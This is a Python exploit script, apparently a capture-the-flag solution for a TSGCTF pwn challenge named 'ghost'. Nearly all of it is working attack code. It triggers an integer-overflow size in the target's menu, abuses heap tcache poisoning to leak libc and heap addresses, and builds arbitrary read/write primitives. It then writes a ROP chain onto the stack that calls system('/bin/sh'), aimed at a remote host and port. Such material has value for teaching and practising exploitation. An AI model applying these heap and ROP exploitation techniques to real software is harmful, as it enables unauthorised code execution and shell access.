```#!/usr/bin/env python3from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
bin_file = './ghost'context(os = 'linux', arch = 'amd64')context.log_level = 'debug'
#==========
env = Environment('debug', 'local', 'remote')env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False, 'gdbscript':''}, \                        local   = {'argv':[bin_file]}, \                        remote  = {'host':'34.146.195.242', 'port':40007})env.set_item('libc',    debug   = None, \                        local   = None, \                        remote  = 'libc.so.6')env.select()
#==========
binf = ELF(bin_file)
libc = ELF(env.libc) if env.libc else binf.libcofs_libc_stdin          = libc.symbols['_IO_2_1_stdin_']ofs_libc_mainarena      = ofs_libc_stdin + 0x1e0
#==========
def attack(conn, **kwargs):    g = Ghost(conn)
    for i in range(8): g.post(str(i)*0x88)
    g.move_old(18446744073709551616 - 1) # 1
    for i in range(8):        g.undo()
    addr_libc_mainarena = u64(g.print()[:8]) - 0x60    libc.address = addr_libc_mainarena - ofs_libc_mainarena    info('addr_libc_base    = 0x{:012x}'.format(libc.address))    addr_libc_environ   = libc.symbols['environ']    addr_libc_str_sh    = next(libc.search(b'/bin/sh'))
 g.post(b'a'*8) g.post(b'b'*8)    g.move_old(18446744073709551616 - 1) # 2    g.undo()
    addr_heap_base = (u64(g.print()[:8]) << 12) - 0x2000    info('addr_heap_base    = 0x{:012x}'.format(addr_heap_base))
    g.move_old(1) # 1    g.undo()    g.modify(p64((addr_heap_base + 0x3190) ^ ((addr_heap_base+0x2000) >> 12)))
 g.post(b'A'*8) g.post(b'B'*0x18)
    def aar(addr, size):        g.pin(2)        g.modify(flat(size, addr, size))        g.pin(0)        return g.print()
    def aaw(addr, data):        g.pin(2)        size = len(data)        g.modify(flat(size, addr, size))        g.pin(0)        g.modify(data)
    addr_stack = u64(aar(addr_libc_environ, 8))    info('addr_stack    = 0x{:012x}'.format(addr_stack))
    rop = ROP(libc)    rop.system(addr_libc_str_sh)    rop.exit(0)
    exploit  = p64(rop.ret.address)*0x21    exploit += bytes(rop)    aaw(addr_stack - 0x580, exploit)
class Ghost:    def __init__(self, conn):        self.recv           = conn.recv        self.recvuntil      = conn.recvuntil        self.recvline       = conn.recvline        self.unrecv         = conn.unrecv        self.send           = conn.send        self.sendline       = conn.sendline        self.sendafter      = conn.sendafter        self.sendlineafter  = conn.sendlineafter
    def post(self, content):        self.sendlineafter(b'> ', b'1')        self.sendafter(b'tweet > ', content)
    def undo(self):        self.sendlineafter(b'> ', b'2')
    def pin(self, idx):        self.sendlineafter(b'> ', b'3')        self.sendlineafter(b'id > ', str(idx).encode())
    def print(self):        self.sendlineafter(b'> ', b'4')        content = self.recvuntil(b'\n> ', drop=True)        self.unrecv(b'> ')        return content
    def modify(self, content):        self.sendlineafter(b'> ', b'5')        self.sendafter(b'tweet > ', content)
    def move_old(self, size):        self.sendlineafter(b'> ', b'6')        self.sendlineafter(b'> ', b'0')        self.sendlineafter(b'size > ', str(size).encode())
    def move_new(self, size):        self.sendlineafter(b'> ', b'6')        self.sendlineafter(b'> ', b'1')        self.sendlineafter(b'size > ', str(size).encode())
    def exit(self):        self.sendlineafter(b'> ', b'7')
#==========
def main():    comn = Communicate(env.mode, **env.target)    comn.connect()    comn.run(attack)    comn.interactive()    # TSGCTF{Ghost_dwells_within_the_proof}
if __name__=='__main__':    main()
#==========```